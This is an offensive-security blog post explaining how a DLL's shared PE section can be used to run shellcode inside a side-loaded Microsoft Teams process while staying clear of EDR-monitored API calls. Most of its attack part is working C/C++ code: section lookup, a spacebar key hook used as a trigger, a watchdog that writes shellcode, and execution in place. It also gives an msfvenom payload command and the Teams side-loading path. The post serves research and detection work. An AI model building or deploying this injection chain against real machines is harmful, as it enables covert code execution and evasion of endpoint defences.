Shared section code execution
Credits
This post will demonstrate how to utilise shared sections within a DLL to execute memory in a remote process.
The information presented in this post references and builds upon the existing work of Bill Demirkapi and Gynvael Coldwind. For additional context and background, you should review their existing works.
Background
A ‘typical’ setup to execute code in a remote process involves making use of win32 API calls (such as OpenProcess
, VirtualAllocEx
, WriteProcessMemory
, and CreateRemoteThread
) to obtain a handle to a remote process, allocate memory within the process, write shellcode to the process, and finally execute the shellcode in a remote thread.
There are a number of different approaches and win32 API call combinations which can be utilised to perform code execution in a remote process, however Endpoint Detection and Response (EDR) tooling can be a bit of a kill joy with user mode hooks.
Rather than relying on known win32 API call chains to achieve remote code execution, we can instead make use of shared sections to achieve the same result.
Shared sections
Windows Portable Executable (PE) files contain different “sections” which are areas within the file containing different information required for successful execution. For example, the .text section will typically contain executable code, while the .rsrc section will typically contain resources.
Each section has “characteristics” which indicate how the section can be used. For example IMAGE_SCN_MEM_EXECUTE allows the section to be executed as code, IMAGE_SCN_MEM_READ allows the section to be read, and IMAGE_SCN_MEM_WRITE allows the section to be written to.
A less common, but still valid section characteristic is IMAGE_SCN_MEM_SHARED which allows the section to be shared in memory.
For an offensive security blog post - what does this mean in practise?
It means we can have two separate processes, who both share the exact same data in memory (without needing to involve any API calls such as NtMapViewOfSection
). This shared memory therefore enables us to modify memory in another process, which can affect its execution.
Definitions and techniques
To keep this post as focused on the shared memory concept as possible, we will need to skip over a few definitions and techniques you should be familiar with:
Plan of attack
We can plan to abuse shared sections by performing a few steps:
- Create a DLL which has a shared section
- Side load the DLL into a process such as Microsoft Teams and create a new thread
- Hook a common key used in Teams, such as the spacebar
- Once a user presses spacebar within Teams, set a flag in shared memory
- A watchdog process (which has also loaded the DLL and now shares memory with Teams) can identify the changed flag in shared memory
- The watchdog process can write shellcode into the shared memory
- The Teams thread can identify that shellcode has been written to shared memory, and can now execute it
There are a few advantages to this plan of attack, when compared with a “traditional” approach:
- Execute shellcode in a remote process without using suspicious win32 API call chains
- The side loaded DLL itself is (relatively) benign and doesn’t directly contain any useful information for an analyst or responder (changes to shared memory are not saved to disk)
- No interaction or handles to the “injectee” process are required (other than sideloading)
As well as some disadvantages:
- Need to write the DLL file to disk in order to side load
- Need to perform DLL sideloading (using the DLL in the step above)
- Need to have a secondary watchdog process to monitor, write, and contain the actual payload shellcode
- IMAGE_SCN_MEM_SHARED is an uncommon section flag
Ignoring the advantages and disadvantages - let’s just break this down into parts and execute upon our plan of attack.
Creating a shared section
Rather than searching for a shared section in an existing binary or DLL, we can instead just create out own. Within Visual Studio we can create a new DLL, then modify a section (such as .data) during compilation by providing /SECTION:.data,ERSW
as an additional option during the compilation process:
Adding these additional compilation options enables the DLL .data section to be readable, writeable, executable, and shared. We can confirm the section characteristics using dumpbin.exe /SECTION:.data test.dll
:
SECTION HEADER #4
.data name
34 virtual size
6000 virtual address (0000000180006000 to 0000000180006033)
200 size of raw data
3600 file pointer to raw data (00003600 to 000037FF)
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
F0000040 flags
Initialized Data
Shared
Execute Read Write
In the dumpbin output, we can see the DLL .data section is set with the expected characteristic flags of F0000040
which can be calculated by exclusive or’ing the separate section values together (including IMAGE_SCN_CNT_INITIALIZED_DATA due to the default purpose of the .data section).
Finding the shared section
Now we have created a DLL with a shared section, we need to be able to resolve and find the location of that shared section in memory. That way, we know where the shared data section resides and can use it to read and write across the separate processes.
In order to do that on an x64 system, we need to be able to search for the section:
- Obtain a handle to the loaded image base address
- Locate the
ImageNtHeader
structure - Calculate a pointer to the first/current section
- Compare the current section name (or anything) with the section we are searching for
- Increment the current section pointer to continue our search to the next section
We can export the function too, since this is a DLL, and we will want to use similar functionality from the watchdog process:
extern "C"
__declspec(dllexport) LPVOID section_find(const char *section) {
HINSTANCE hGetProcIDDLL = (HMODULE)&__ImageBase;
PIMAGE_NT_HEADERS64 NtHeader = ImageNtHeader(hGetProcIDDLL);
PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(NtHeader);
for (int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) {
if (strcmp((const char*)section_header->Name, section) == 0) {
return ((BYTE*)hGetProcIDDLL + section_header->VirtualAddress);
}
section_header++;
}
return NULL;
}
Now that we can resolve the location of the shared section in memory, we can start to use it.
Signalling via the shared section
We can choose 2 locations in the shared section to use for signalling between the watchdog and side loaded processes. Locations will need to be chosen based on the section purpose and space required. A good place to look for ‘dead’ space is at the end of a section (since they will need to be page aligned).
Once chosen, we can export the locations from within the DLL too, since the offsets need to be shared between the processes:
extern "C"
__declspec(dllexport) int check_offset() {
return 255;
}
extern "C"
__declspec(dllexport) int write_offset() {
return 256;
}
Once defined, we can start to use these functions to resolve the shared section and calculate the offset locations:
LPVOID data_section = section_find(".data");
LPVOID data_check = (BYTE*)data_section + check_offset();
LPVOID data_write = (BYTE*)data_section + write_offset();
For our use case, the data_check
location will be used to signal that the spacebar has been pressed in Teams, while the data_write
location will be where the watchdog process will write the actual shellcode.
With the locations resolved, we can now setup some functionality within a loop in our DLL thread to signal the watchdog (via the shared section). When the spacebar is pressed, 0x41
will be written to the shared memory data_check
location (which currently contains 0x00
):
if (GetAsyncKeyState(VK_SPACE) & 0x80000) {
*((BYTE*)data_check) = (byte)0x41;
set_byte = true;
}
Monitoring the shared section
With the functionality setup to find and write to shared memory from the DLL, we next need to create the separate watchdog process to monitor and write the actual shellcode.
We can make use of existing functionality in the DLL (which we need to load anyway) by defining the functions, loading the DLL, and resolving the addresses of the functions already written:
typedef LPVOID(__cdecl* dll_section_find)(const char*);
typedef int(__cdecl* dll_write_offset)();
typedef int(__cdecl* dll_check_offset)();
dll_section_find section_find;
dll_write_offset write_offset;
dll_check_offset check_offset;
HINSTANCE hGetProcIDDLL = LoadLibrary(L"test.dll");
section_find = (dll_section_find)GetProcAddress(hGetProcIDDLL, "section_find");
write_offset = (dll_write_offset)GetProcAddress(hGetProcIDDLL, "write_offset");
check_offset = (dll_check_offset)GetProcAddress(hGetProcIDDLL, "check_offset");
LPVOID data_section = section_find(".data");
LPVOID data_write = (BYTE*)data_section + write_offset();
LPVOID data_check = (BYTE*)data_section + check_offset();
Once we have resolved the functions and shared memory locations, the watchdog process can enter a loop and write our shellcode to the shared memory location once the monitored data_check
byte has changed from the original value of 0x00
:
while (true){
if (*((BYTE*)data_check) != (BYTE)0x00) {
memcpy(data_write, buf, size);
return 1;
}
Sleep(1000);
}
Shellcode execution
Once the shellcode has been written to the shared memory location, the last step is to execute it inline from within the side loaded Teams process, without making use of any additional win32 helper API calls.
In order to achieve this, we can monitor the data_write
location and if we have signalled the write by updating the data_check
location (by pressing the spacebar earlier from within Teams) and the data has changed from the original value (again of 0x00
), we can jump to the data_write
location and directly execute the shellcode located there:
if (*((BYTE *)data_write) != (byte)0x00 && set_byte) {
((void (*)(void))data_write)();
}
Due to our chosen method of execution via a thread, we should also take care to exit cleanly and avoid killing the parent process. For example, if using msfvenom to create the final shellcode, we can select to exit the thread, not the process: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c
.
Taking it for a spin
With the preparation work out of the way, we can compile the watchdog process and the shared memory section DLL. In order to keep Teams working as expected after side loading, we will also need to setup function redirects. A candidate DLL srvcli.dll
was identified (using Procmon) and used for testing this proof of concept (with our version of the srvcli.dll
file added to the C:\Users\<user>\AppData\Local\Microsoft\Teams\current\
directory).
After compiling and executing the watchdog process, we can see the resolution of the section, memory addresses, and functions we are interested in:
With the watchdog process running, we can restart teams (with the DLL side loaded) and we can similarly see the exact same shared memory address locations in the debug output:
Pressing the spacebar from within Teams, we can see that 0x41
has been written to the check_offset
location in shared memory:
Updating the check_offset
shared memory byte from within Teams, causes the watchdog process to write shellcode to the data_write
location. Once the shellcode has been written, the thread within Teams will finally execute the shellcode:
Conclusion
By directly leveraging shared sections, an attacker is able to modify the memory of another process (by modifying the memory of its own process) without needing to interface with any potentially monitored or “suspicious” win32 API calls.
While this approach has some advantages, there are also some unique Tactics, Techniques, and Procedures (TTPs) which would enable relatively low false-positive detections.